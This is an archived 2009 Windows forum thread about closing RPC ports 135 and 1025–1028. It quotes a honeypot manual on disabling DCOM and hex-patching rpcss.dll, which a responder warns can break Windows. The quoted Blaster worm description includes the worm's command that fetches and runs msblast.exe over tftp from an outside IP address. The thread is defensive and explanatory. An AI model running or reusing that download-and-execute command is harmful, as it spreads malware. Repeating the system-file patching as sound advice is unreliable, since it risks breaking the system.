How can i close rpc ports
Hello all, sorry about the redundancy in asking question not related to this forum purposes but i really need help, i wonder if theres any software that closes ports 1025-1028 and 4500 ,i already deleted the rpc protocols from registry but they still there opened.....any suggestions?thx in advanceRR
July 8th, 2009 6:14pm

Can you please explain why you need to close those ports? Windows Firewall stops all traffic to these ports. If you close them you will probably break Windows.Ray
Free Windows Admin Tool Kit Click here and download it now
July 9th, 2009 2:08am

Hey man ,the thing is the most desireble ports for hackers are the one you cant close so take a look at this:MS RPC, port 135, DCOM buffer overrun and the Blaster wormMicrosoft's RPC implementation runs over TCP port 135. RPC is used by a number of higher level protocols for their transport layer, such as by DCOM.Vulnerabilities have been found in Microsoft's RPC implementation and the services it gives access to. Closing TCP port 135It is highly desirable to close port 135 and to allow KFSensor to listen to it. Port 135 is consistently on of the most attacked ports on the Internet. It is not possible to simply disable the RPC service as there are many essential parts of Windows that require RPC to be running even though they do not make network connections. However Microsoft does not allow RPC to configured to a different port and by default it is bound to all network interfaces making it vulnerable to attack from the Internet. The following sections describe how to disable services that run on top of RPC, which is desirable in itself, and then to close port 135 itself. Disable RPC dependent servicesSeveral non-essential services use RPC and these should be disabled.Shutdown and disable the following services in the services console.SSDP Discovery ServiceWindows TimeMessengerRemote RegistrySystem Event NotificationRemote Desktop Help Session ManagerDistributed Transaction CoordinatorTask Scheduler serviceCOM+ Event SystemCOM+ System Application Disable DCOMWindows DCOM allows applications to share COM functionality over a TCP/IP network. Only a few applications have ever used DCOM and it is due to be phased out by Microsoft. This functionality is turned on by default and uses RPC. Run "Dcomcnfg.exe" from the Start menu "Run." item. Select the following: Component Services -> Computers -> My Computer Right Click and select the Properties menu item Select the Default Properties tabUncheck "Enable Distributed COM on this computer" option. Select the Default Protocols tabRemove "Connection-oriented TCP/IP" from the list of DCOM protocols. It is also possible do the same directly by editing the registry. Run "regedt32.exe" from the Start menu "Run." item. Select the key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole"Set the value "EnableDCOM" to "N". Select the key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc"Edit the value "DCOM Protocols". This may contain a number of strings. Delete the string "ncacn_ip_tcp" Configure RPCIt is possible to reconfigure MS RPC to make it safer using a Microsoft configuration tool rpccfg. To obtain this tool go to www.microsoft.com and enter rpccfg into their site search and download it from the link. The idea is to get RPC to only bind to the loopback address. From the DOS command prompt type: rpccfg -l This will list the available interfaces. Make a note of the number next to the subnet 127.0.0.0, which will probably 1. Now type: rpccfg -a 1 (or the number you noted before). Now type: rpccfg -q and only the loopback address should be listed. To complete the configuration the following setting needs to be added to the Registry: Run "regedt32.exe" from the Start menu "Run." item. Select the key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs"Add the string value "ListenOnInternet" and set it to "N". After performing the above re-boot the machine. If all the RPC using services have been closed down then port 135 should now be closed and KFSensor will be able to use it.If port 135 is still bound by RPC then at least one RPC using service is still running.Either close down the remaining RPC using services, or if they cannot be shut down then there is the option of patching the RPC server. Patching the RPC serverMicrosoft RPC cannot be configured not to listen on a different port to 135. Instead it is necessary to patch the system to force it not to use the port. Patching an OS is strictly for advanced users. The server needs to be patched using a hex editor. If you do not have a hex editor, use 010 Editor which you can get from this address:http://www.sweetscape.com/010editor/ The RPC server is implemented in a file called rpcss.dll, however this file is in constant use. So you will first have to disable it, re-boot, patch it, re-enable it and reboot again. Make a copy of the file rpcss.dll, as a backup.Copy the file from \windows\system32\rpcss.dll into one of your own directories, using Windows Explorer. From the Start menu select Run. Enter "regedt32" and click on OK. Expand the tree and select the key:HKLM\System\CurrentControlSet\Services\RpcSs Rename the value "ImagePath" to "xImagePath" Exit regedt32 and re-boot the machine. The machine may take longer than normal to start up and some functionality will no longer be available. The Start bar may longer be visible to it is a good idea to have a short cut to a DOS BOX on the desktop. This will be re-enabled later. Run your hex editor and open the file "from \windows\system32\rpcss.dll" Search for the byte sequence "31 00 33 00 35" or the Unicode text "135". Over-write this byte sequence to "30 00 30 00 30". This changes the port from 135 to 000, which DCOM will not be able to open. Save the file in the hex editor. From the Start menu select Run. Enter "regedt32" and click on OK. Expand the tree and select the key:HKLM\System\CurrentControlSet\Services\ RpcSs Rename the value "xImagePath" to "ImagePath" Exit regedt32 and re-boot the machine. The DCOM server should no longer bind to port 135 and KFSensor should be listening to this port. Blaster backgroundOn the 16 July 2003 Microsoft released a patch to fix a buffer overrun in its Windows Distributed Component Object Model (DCOM) Remote Procedure Call (RPC) interface.http://support.microsoft.com/default.aspx?scid=kb;en-us;823980 On the 11 August 2003 a new worm ('Blaster') was detected which exploited this vulnerability and rapidly infected large numbers of unpatched machines. http://www.microsoft.com/security/incident/blast.asp The Blaster worm attacks a Windows machine by first executing a buffer overrun at port 135 TCP. This causes a vulnerable machine to listen to port 4444 TCP and execute the following command "tftp -i 81.128.17.117 GET msblast.exe". This downloads the worm from the attacking machine. msblast.exe is then executed and the process continues. You can find a full description of the Blaster worm here: http://www.sarc.com/avcenter/venc/data/w32.blaster.worm.html Blaster eventsIf attacked by the Blaster worm you will see the following two events in quick succession. 1. Port 135Received 1776 bytes containing the binary buffer overrun. 2. Port 4444Containing the following text:tftp -i 81.128.81.118 GET msblast.exestart msblast.exemsblast.exe KF Sensor On-Line Manual Contentsthe only thing you cant do is rename the imagepath but the other implementaios i havent tried yet, can you tell me if its safe to proceed those the hex thing?blocking ports not always the only effective measures...will be looking forward for repliesthx in adavnceRR
July 10th, 2009 5:39pm

Windows Firewall by default blocks all traffic to port 135. So what is the use of going through all this trouble with the risk of breaking Windows?There was a lot more going on with the worms you mentions that Windows 7 (and Windows Vista) contains some very nice fixes for. Just start reading about TrustedInstaller, Service hardening and Session 0 isolationto see why new worms can neverdo what Blaster did to Windows 2000.There is a reason why the Windows Security Guides do not mention closing RPC ports as a solution. If you try this you're going the unsupported path with the risk of shooting yourself in the foot.Just my 2 centsRay
Free Windows Admin Tool Kit Click here and download it now
July 11th, 2009 1:06am

yeah thats what i figured but i tried to close port 135 and didnt work as expected ,but your right i think the problem is that they might be aiming port 500 (IKE)so i just applied QOS policies for that and it looks better now,no echos so far!!!thx dude for you explanations and active help!!!!RR
July 11th, 2009 4:15am

This topic is archived. No further replies will be accepted.

Other recent topics Other recent topics